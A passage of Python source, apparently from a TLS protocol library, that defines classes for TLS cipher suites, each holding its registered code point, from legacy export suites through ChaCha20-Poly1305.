TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):\n    val = 0x0014\n\n\nclass TLS_DHE_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite):\n    val = 0x0015\n\n\nclass TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x0016\n\n\nclass TLS_DH_anon_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite):\n    val = 0x0017\n\n\nclass TLS_DH_anon_WITH_RC4_128_MD5(_GenericCipherSuite):\n    val = 0x0018\n\n\nclass TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):\n    val = 0x0019\n\n\nclass TLS_DH_anon_WITH_DES_CBC_SHA(_GenericCipherSuite):\n    val = 0x001A\n\n\nclass TLS_DH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x001B\n\n\nclass TLS_KRB5_WITH_DES_CBC_SHA(_GenericCipherSuite):\n    val = 0x001E\n\n\nclass TLS_KRB5_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x001F\n\n\nclass TLS_KRB5_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0x0020\n\n\nclass TLS_KRB5_WITH_IDEA_CBC_SHA(_GenericCipherSuite):\n    val = 0x0021\n\n\nclass TLS_KRB5_WITH_DES_CBC_MD5(_GenericCipherSuite):\n    val = 0x0022\n\n\nclass TLS_KRB5_WITH_3DES_EDE_CBC_MD5(_GenericCipherSuite):\n    val = 0x0023\n\n\nclass TLS_KRB5_WITH_RC4_128_MD5(_GenericCipherSuite):\n    val = 0x0024\n\n\nclass TLS_KRB5_WITH_IDEA_CBC_MD5(_GenericCipherSuite):\n    val = 0x0025\n\n\nclass TLS_KRB5_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):\n    val = 0x0026\n\n\nclass TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA(_GenericCipherSuite):\n    val = 0x0027\n\n\nclass TLS_KRB5_EXPORT_WITH_RC4_40_SHA(_GenericCipherSuite):\n    val = 0x0028\n\n\nclass TLS_KRB5_EXPORT_WITH_DES40_CBC_MD5(_GenericCipherSuite):\n    val = 0x0029\n\n\nclass TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite):\n    val = 0x002A\n\n\nclass TLS_KRB5_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite):\n    val = 0x002B\n\n\nclass TLS_PSK_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0x002C\n\n\nclass TLS_DHE_PSK_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0x002D\n\n\nclass TLS_RSA_PSK_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0x002E\n\n\nclass TLS_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x002F\n\n\nclass TLS_DH_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0030\n\n\nclass TLS_DH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0031\n\n\nclass TLS_DHE_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0032\n\n\nclass TLS_DHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0033\n\n\nclass TLS_DH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0034\n\n\nclass TLS_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0035\n\n\nclass TLS_DH_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0036\n\n\nclass TLS_DH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0037\n\n\nclass TLS_DHE_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0038\n\n\nclass TLS_DHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0039\n\n\nclass TLS_DH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x003A\n\n\nclass TLS_RSA_WITH_NULL_SHA256(_GenericCipherSuite):\n    val = 0x003B\n\n\nclass TLS_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x003C\n\n\nclass TLS_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x003D\n\n\nclass TLS_DH_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x003E\n\n\nclass TLS_DH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x003F\n\n\nclass TLS_DHE_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x0040\n\n\nclass TLS_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0041\n\n\nclass TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0042\n\n\nclass TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0043\n\n\nclass TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0044\n\n\nclass TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0045\n\n\nclass TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0046\n\n\nclass TLS_DHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x0067\n\n\nclass TLS_DH_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x0068\n\n\nclass TLS_DH_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x0069\n\n\nclass TLS_DHE_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x006A\n\n\nclass TLS_DHE_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x006B\n\n\nclass TLS_DH_anon_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x006C\n\n\nclass TLS_DH_anon_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x006D\n\n\nclass TLS_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0084\n\n\nclass TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0085\n\n\nclass TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0086\n\n\nclass TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0087\n\n\nclass TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0088\n\n\nclass TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0089\n\n\nclass TLS_PSK_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0x008A\n\n\nclass TLS_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x008B\n\n\nclass TLS_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x008C\n\n\nclass TLS_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x008D\n\n\nclass TLS_DHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0x008E\n\n\nclass TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x008F\n\n\nclass TLS_DHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0090\n\n\nclass TLS_DHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0091\n\n\nclass TLS_RSA_PSK_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0x0092\n\n\nclass TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x0093\n\n\nclass TLS_RSA_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0x0094\n\n\nclass TLS_RSA_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0x0095\n\n\nclass TLS_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite):\n    val = 0x0096\n\n\nclass TLS_DH_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite):\n    val = 0x0097\n\n\nclass TLS_DH_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite):\n    val = 0x0098\n\n\nclass TLS_DHE_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite):\n    val = 0x0099\n\n\nclass TLS_DHE_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite):\n    val = 0x009A\n\n\nclass TLS_DH_anon_WITH_SEED_CBC_SHA(_GenericCipherSuite):\n    val = 0x009B\n\n\nclass TLS_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x009C\n\n\nclass TLS_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x009D\n\n\nclass TLS_DHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x009E\n\n\nclass TLS_DHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x009F\n\n\nclass TLS_DH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x00A0\n\n\nclass TLS_DH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x00A1\n\n\nclass TLS_DHE_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x00A2\n\n\nclass TLS_DHE_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x00A3\n\n\nclass TLS_DH_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x00A4\n\n\nclass TLS_DH_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x00A5\n\n\nclass TLS_DH_anon_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x00A6\n\n\nclass TLS_DH_anon_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x00A7\n\n\nclass TLS_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x00A8\n\n\nclass TLS_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x00A9\n\n\nclass TLS_DHE_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x00AA\n\n\nclass TLS_DHE_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x00AB\n\n\nclass TLS_RSA_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x00AC\n\n\nclass TLS_RSA_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x00AD\n\n\nclass TLS_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00AE\n\n\nclass TLS_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0x00AF\n\n\nclass TLS_PSK_WITH_NULL_SHA256(_GenericCipherSuite):\n    val = 0x00B0\n\n\nclass TLS_PSK_WITH_NULL_SHA384(_GenericCipherSuite):\n    val = 0x00B1\n\n\nclass TLS_DHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00B2\n\n\nclass TLS_DHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0x00B3\n\n\nclass TLS_DHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite):\n    val = 0x00B4\n\n\nclass TLS_DHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite):\n    val = 0x00B5\n\n\nclass TLS_RSA_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00B6\n\n\nclass TLS_RSA_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0x00B7\n\n\nclass TLS_RSA_PSK_WITH_NULL_SHA256(_GenericCipherSuite):\n    val = 0x00B8\n\n\nclass TLS_RSA_PSK_WITH_NULL_SHA384(_GenericCipherSuite):\n    val = 0x00B9\n\n\nclass TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00BA\n\n\nclass TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00BB\n\n\nclass TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00BC\n\n\nclass TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00BD\n\n\nclass TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00BE\n\n\nclass TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00BF\n\n\nclass TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00C0\n\n\nclass TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00C1\n\n\nclass TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00C2\n\n\nclass TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00C3\n\n\nclass TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00C4\n\n\nclass TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):\n    val = 0x00C5\n\n# class TLS_EMPTY_RENEGOTIATION_INFO_CSV(_GenericCipherSuite):\n#    val = 0x00FF\n\n# class TLS_FALLBACK_SCSV(_GenericCipherSuite):\n#    val = 0x5600\n\n\nclass TLS_ECDH_ECDSA_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0xC001\n\n\nclass TLS_ECDH_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0xC002\n\n\nclass TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC003\n\n\nclass TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC004\n\n\nclass TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC005\n\n\nclass TLS_ECDHE_ECDSA_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0xC006\n\n\nclass TLS_ECDHE_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0xC007\n\n\nclass TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC008\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC009\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC00A\n\n\nclass TLS_ECDH_RSA_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0xC00B\n\n\nclass TLS_ECDH_RSA_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0xC00C\n\n\nclass TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC00D\n\n\nclass TLS_ECDH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC00E\n\n\nclass TLS_ECDH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC00F\n\n\nclass TLS_ECDHE_RSA_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0xC010\n\n\nclass TLS_ECDHE_RSA_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0xC011\n\n\nclass TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC012\n\n\nclass TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC013\n\n\nclass TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC014\n\n\nclass TLS_ECDH_anon_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0xC015\n\n\nclass TLS_ECDH_anon_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0xC016\n\n\nclass TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC017\n\n\nclass TLS_ECDH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC018\n\n\nclass TLS_ECDH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC019\n\n\nclass TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC01A\n\n\nclass TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC01B\n\n\nclass TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC01C\n\n\nclass TLS_SRP_SHA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC01D\n\n\nclass TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC01E\n\n\nclass TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC01F\n\n\nclass TLS_SRP_SHA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC020\n\n\nclass TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC021\n\n\nclass TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC022\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC023\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC024\n\n\nclass TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC025\n\n\nclass TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC026\n\n\nclass TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC027\n\n\nclass TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC028\n\n\nclass TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC029\n\n\nclass TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC02A\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC02B\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC02C\n\n\nclass TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC02D\n\n\nclass TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC02E\n\n\nclass TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC02F\n\n\nclass TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC030\n\n\nclass TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC031\n\n\nclass TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC032\n\n\nclass TLS_ECDHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0xC033\n\n\nclass TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0xC034\n\n\nclass TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite):\n    val = 0xC035\n\n\nclass TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite):\n    val = 0xC036\n\n\nclass TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC037\n\n\nclass TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC038\n\n\nclass TLS_ECDHE_PSK_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0xC039\n\n\nclass TLS_ECDHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite):\n    val = 0xC03A\n\n\nclass TLS_ECDHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite):\n    val = 0xC03B\n\n# suites 0xC03C-C071 use ARIA\n\n\nclass TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC072\n\n\nclass TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC073\n\n\nclass TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC074\n\n\nclass TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC075\n\n\nclass TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC076\n\n\nclass TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC077\n\n\nclass TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC078\n\n\nclass TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC079\n\n\nclass TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC07A\n\n\nclass TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC07B\n\n\nclass TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC07C\n\n\nclass TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC07D\n\n\nclass TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC07E\n\n\nclass TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC07F\n\n\nclass TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC080\n\n\nclass TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC081\n\n\nclass TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC082\n\n\nclass TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC083\n\n\nclass TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC084\n\n\nclass TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC085\n\n\nclass TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC086\n\n\nclass TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC087\n\n\nclass TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC088\n\n\nclass TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC089\n\n\nclass TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC08A\n\n\nclass TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC08B\n\n\nclass TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC08C\n\n\nclass TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC08D\n\n\nclass TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC08E\n\n\nclass TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC08F\n\n\nclass TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC090\n\n\nclass TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC091\n\n\nclass TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0xC092\n\n\nclass TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0xC093\n\n\nclass TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC094\n\n\nclass TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC095\n\n\nclass TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC096\n\n\nclass TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC097\n\n\nclass TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC098\n\n\nclass TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC099\n\n\nclass TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):\n    val = 0xC09A\n\n\nclass TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):\n    val = 0xC09B\n\n\nclass TLS_RSA_WITH_AES_128_CCM(_GenericCipherSuite):\n    val = 0xC09C\n\n\nclass TLS_RSA_WITH_AES_256_CCM(_GenericCipherSuite):\n    val = 0xC09D\n\n\nclass TLS_DHE_RSA_WITH_AES_128_CCM(_GenericCipherSuite):\n    val = 0xC09E\n\n\nclass TLS_DHE_RSA_WITH_AES_256_CCM(_GenericCipherSuite):\n    val = 0xC09F\n\n\nclass TLS_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite):\n    val = 0xC0A0\n\n\nclass TLS_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite):\n    val = 0xC0A1\n\n\nclass TLS_DHE_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite):\n    val = 0xC0A2\n\n\nclass TLS_DHE_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite):\n    val = 0xC0A3\n\n\nclass TLS_PSK_WITH_AES_128_CCM(_GenericCipherSuite):\n    val = 0xC0A4\n\n\nclass TLS_PSK_WITH_AES_256_CCM(_GenericCipherSuite):\n    val = 0xC0A5\n\n\nclass TLS_DHE_PSK_WITH_AES_128_CCM(_GenericCipherSuite):\n    val = 0xC0A6\n\n\nclass TLS_DHE_PSK_WITH_AES_256_CCM(_GenericCipherSuite):\n    val = 0xC0A7\n\n\nclass TLS_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite):\n    val = 0xC0A8\n\n\nclass TLS_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite):\n    val = 0xC0A9\n\n\nclass TLS_DHE_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite):\n    val = 0xC0AA\n\n\nclass TLS_DHE_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite):\n    val = 0xC0AB\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_128_CCM(_GenericCipherSuite):\n    val = 0xC0AC\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_256_CCM(_GenericCipherSuite):\n    val = 0xC0AD\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8(_GenericCipherSuite):\n    val = 0xC0AE\n\n\nclass TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8(_GenericCipherSuite):\n    val = 0xC0AF\n\n# the next 3 suites are from draft-agl-tls-chacha20poly1305-04\n\n\nclass TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite):\n    val = 0xCC13\n\n\nclass TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite):\n    val = 0xCC14\n\n\nclass TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite):\n    val = 0xCC15\n\n\nclass TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):\n    val = 0xCCA8\n\n\nclass TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):\n    val = 0xCCA9\n\n\nclass 